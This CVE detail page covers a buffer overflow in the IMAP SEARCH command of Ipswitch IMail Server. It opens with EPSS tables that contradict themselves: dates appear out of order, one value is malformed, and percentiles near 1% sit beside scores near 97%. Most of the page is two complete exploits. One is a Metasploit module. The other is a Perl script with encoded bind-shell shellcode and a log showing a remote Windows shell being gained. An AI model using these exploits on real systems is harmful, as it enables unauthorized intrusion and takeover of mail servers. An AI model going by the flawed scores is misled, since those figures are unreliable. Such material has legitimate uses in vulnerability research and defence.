CVE-2007-3925 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	86.34%	–	–
2023-03-12	–	–	–	97.4%	–
2023-04-16	–	–	–	97.28%	–
2023-05-21	–	–	–	95.35%	–
2023-06-25	–	–	–	96.38%	–
2023-07-30	–	–	–	97.45%	–
2023-09-03	–	–	–	97.48%	–
2023-10-15	–	–	–	97.45%	–
2023-11-19	–	–	–	97.42%	–
2023-12-24	–	–	–	97.44%	–
2024-02-04	–	–	–	97.46%	–
2024-03-10	–	–	–	97.42%	–
2024-06-02	–	–	–	97.42%	–
2024-07-07	–	–	–	97.37%	–
2024-09-15	–	–	–	97.32%	–
2024-10-27	–	–	–	97.38%	–
2024-12-15	–	–	–	97.37%	–
2024-12-22	–	–	–	95.67%	–
2025-02-02	–	–	–	95.81%	–
2025-01-19	–	–	–	95.67%	–
2025-02-02	–	–	–	95.81%	–
2025-03-18	–	–	–	–	90.74%
2025-03-30	–	–	–	–	90.6%
2025-03-30	–	–	–	–	90.6,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2023-03-12	1%
2023-04-16	1%
2023-05-21	99%
2023-06-25	99%
2023-07-30	1%
2023-09-03	1%
2023-10-15	1%
2023-11-19	1%
2023-12-24	1%
2024-02-04	1%
2024-03-10	1%
2024-06-02	1%
2024-07-07	1%
2024-09-15	1%
2024-10-27	1%
2024-12-15	1%
2024-12-22	1%
2025-02-02	1%
2025-01-19	1%
2025-02-02	1%
2025-03-18	1%
2025-03-30	1%
2025-03-30	1%

## # $Id: ipswitch_search.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Imap def initialize(info = {}) super(update_info(info, 'Name' => 'Ipswitch IMail IMAP SEARCH Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH verb. By sending an overly long string, an attacker can overwrite the buffer and control program execution. In order for this module to be successful, the IMAP user must have at least one message. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9525 $', 'References' => [ [ 'CVE', '2007-3925' ], [ 'OSVDB', '36219' ], [ 'BID', '24962' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x0a\x0d\x20\x0b\x09\x0c", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77f81be3 } ], [ 'Windows 2003 SP0 English', { 'Ret' => 0x77c5cee8 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 18 2007')) end def exploit sploit = "a002 SEARCH BEFORE " + "<" + rand_text_english(87) sploit << [target.ret].pack('V') + make_nops(20) + payload.encoded + ">" info = connect_login if (info == true) print_status("Trying target #{target.name}...") sock.put("a001 SELECT INBOX\r\n") sock.get_once(-1, 3) sock.put(sploit + "\r\n") else print_status("Not falling through with exploit") end handler disconnect end end

#!/use/bin/perl # # Ipswitch IMail Server 2006 IMAP SEARCH COMMAND Stack Overflow Exploit # Author: ZhenHan.Liu#ph4nt0m.org # Date: 2007-07-25 # Team: Ph4nt0m Security Team (http://www.ph4nt0m.org) # # Vuln Found by: Manuel Santamarina Suarez # http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=563 # # The Vuln code is here (imap4d32.exe version 6.8.8.1) # 00418CCA |. 8B8D 28EFFFFF |MOV ECX,DWORD PTR SS:[EBP-10D8] # 00418CD0 |. 0FBE11 |MOVSX EDX,BYTE PTR DS:[ECX] # 00418CD3 |. 83FA 22 |CMP EDX,22 # 00418CD6 |. 75 2A |JNZ SHORT IMAP4D32.00418D02 # 00418CD8 |. 8B85 28EFFFFF |MOV EAX,DWORD PTR SS:[EBP-10D8] # 00418CDE |. 50 |PUSH EAX ; /String # 00418CDF |. FF15 84004300 |CALL DWORD PTR DS:[<&KERNEL32.lstrlenA>>; \lstrlenA # 00418CE5 |. 83E8 02 |SUB EAX,2 # 00418CE8 |. 50 |PUSH EAX ; /maxlen # 00418CE9 |. 8B8D 28EFFFFF |MOV ECX,DWORD PTR SS:[EBP-10D8] ; | # 00418CEF |. 83C1 01 |ADD ECX,1 ; | # 00418CF2 |. 51 |PUSH ECX ; |src # 00418CF3 |. 8D55 AC |LEA EDX,DWORD PTR SS:[EBP-54] ; | # 00418CF6 |. 52 |PUSH EDX ; |dest # 00418CF7 |. FF15 00024300 |CALL DWORD PTR DS:[<&MSVCR71.strncpy>] ; \strncpy # 00418CFD |. 83C4 0C |ADD ESP,0C # 00418D00 |. EB 13 |JMP SHORT IMAP4D32.00418D15 # 00418D02 |> 8B85 28EFFFFF |MOV EAX,DWORD PTR SS:[EBP-10D8] # 00418D08 |. 50 |PUSH EAX ; /src # 00418D09 |. 8D4D AC |LEA ECX,DWORD PTR SS:[EBP-54] ; | # 00418D0C |. 51 |PUSH ECX ; |dest # 00418D0D |. E8 7E610100 |CALL <JMP.&MSVCR71.strcpy> ; \strcpy # 00418D12 |. 83C4 08 |ADD ESP,8 # # The programmer has made an extreamly stupid mistake. # He checks the arg's first byte, if it is 0x22( " ),then invoke strcpy, # else strncpy. # the buffer overflow takes place when the strcpy is called. # But the strncpy is also vulnerable,because it just likes this: strncpy(dest, src, strlen(src)); # So, whether the command was started with a '"' or not, the stack overflow will take place immediately. # # Multiple SEARCH COMMAND is vulnerable,in this case, we use "SEARCH ON". # But others like "SEARCH BEFORE" command will also trigger the overflow. # # NOTES: To trigger the Vuln, there must be at least one mail in the mailbox!! # # Badchar is: 0x00 0x0a 0x0d 0x0b 0x09 0x0c 0x20 # # Tested On Windows 2003 SP1 CN # # D:\>perl imap.pl 192.168.226.128 143 # * OK IMAP4 Server (IMail 9.10) # 0 OK LOGIN completed # * FLAGS (\Answered \Flagged \Deleted \Seen \Draft) # * 1 EXISTS # * 1 RECENT # * OK [UIDVALIDITY 1185337300] UIDs valid # * OK [UIDNEXT 485337302] Predicted next UID # 2 OK [READ-WRITE] SELECT completed # -------------- [BEGIN] ------------------- # ---------------- [END] ------------------ # # # D:\>nc -vv -n 192.168.226.128 1154 # (UNKNOWN) [192.168.226.128] 1154 (?) open # Microsoft Windows [°æ±¾ 5.2.3790] # (C) °æȨËùÓÐ 1985-2003 Microsoft Corp. # # C:\WINDOWS\system32> # # use strict; use warnings; use IO::Socket; #Target IP my $host = shift ; my $port = shift ; my $account = "void"; my $password = "ph4nt0m.org"; my $pad1 = "void[at]ph4nt0m.org_" x 4 . "ph4nt0m"; my $pad2 = 'void[at]pstgroup'; my $jmpesp = "\x12\x45\xfa\x7f"; # Windows 2000/xp/2003 Universal # win32_bind - EXITFUNC=thread LPORT=1154 Size=344 Encoder=Pex http://metasploit.com my $shellcode = "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xb6". "\x78\xf8\x75\x83\xee\xfc\xe2\xf4\x4a\x12\x13\x38\x5e\x81\x07\x8a". "\x49\x18\x73\x19\x92\x5c\x73\x30\x8a\xf3\x84\x70\xce\x79\x17\xfe". "\xf9\x60\x73\x2a\x96\x79\x13\x3c\x3d\x4c\x73\x74\x58\x49\x38\xec". "\x1a\xfc\x38\x01\xb1\xb9\x32\x78\xb7\xba\x13\x81\x8d\x2c\xdc\x5d". "\xc3\x9d\x73\x2a\x92\x79\x13\x13\x3d\x74\xb3\xfe\xe9\x64\xf9\x9e". "\xb5\x54\x73\xfc\xda\x5c\xe4\x14\x75\x49\x23\x11\x3d\x3b\xc8\xfe". "\xf6\x74\x73\x05\xaa\xd5\x73\x35\xbe\x26\x90\xfb\xf8\x76\x14\x25". "\x49\xae\x9e\x26\xd0\x10\xcb\x47\xde\x0f\x8b\x47\xe9\x2c\x07\xa5". "\xde\xb3\x15\x89\x8d\x28\x07\xa3\xe9\xf1\x1d\x13\x37\x95\xf0\x77". "\xe3\x12\xfa\x8a\x66\x10\x21\x7c\x43\xd5\xaf\x8a\x60\x2b\xab\x26". "\xe5\x2b\xbb\x26\xf5\x2b\x07\xa5\xd0\x10\xfc\xf7\xd0\x2b\x71\x94". "\x23\x10\x5c\x6f\xc6\xbf\xaf\x8a\x60\x12\xe8\x24\xe3\x87\x28\x1d". "\x12\xd5\xd6\x9c\xe1\x87\x2e\x26\xe3\x87\x28\x1d\x53\x31\x7e\x3c". "\xe1\x87\x2e\x25\xe2\x2c\xad\x8a\x66\xeb\x90\x92\xcf\xbe\x81\x22". "\x49\xae\xad\x8a\x66\x1e\x92\x11\xd0\x10\x9b\x18\x3f\x9d\x92\x25". "\xef\x51\x34\xfc\x51\x12\xbc\xfc\x54\x49\x38\x86\x1c\x86\xba\x58". "\x48\x3a\xd4\xe6\x3b\x02\xc0\xde\x1d\xd3\x90\x07\x48\xcb\xee\x8a". "\xc3\x3c\x07\xa3\xed\x2f\xaa\x24\xe7\x29\x92\x74\xe7\x29\xad\x24". "\x49\xa8\x90\xd8\x6f\x7d\x36\x26\x49\xae\x92\x8a\x49\x4f\x07\xa5". "\x3d\x2f\x04\xf6\x72\x1c\x07\xa3\xe4\x87\x28\x1d\x59\xb6\x18\x15". "\xe5\x87\x2e\x8a\x66\x78\xf8\x75"; my $sock = IO::Socket::INET->new( PeerHost=>$host, PeerPort=>$port, proto=>"tcp" ) || die "Connect error.\n"; my $res = <$sock>; print $res; if( $res !~ /OK/ ) { exit(-1); } # login print $sock "0 LOGIN $account $password\r\n"; print $res = <$sock>; if( $res !~ /0 OK/ ) { exit(-1); } # select print $sock "1 SELECT INBOX\r\n"; while(1) { print $res = <$sock>; if($res =~ /1 OK/) { last; } elsif($res =~ /1 NO/ || $res =~ /BAD/) { exit(-1); } else { next; } } # search my $payload = $pad1.$jmpesp.$pad2.$shellcode; print $sock "2 SEARCH ON <$payload>\r\n"; $sock->close(); # milw0rm.com [2007-07-25]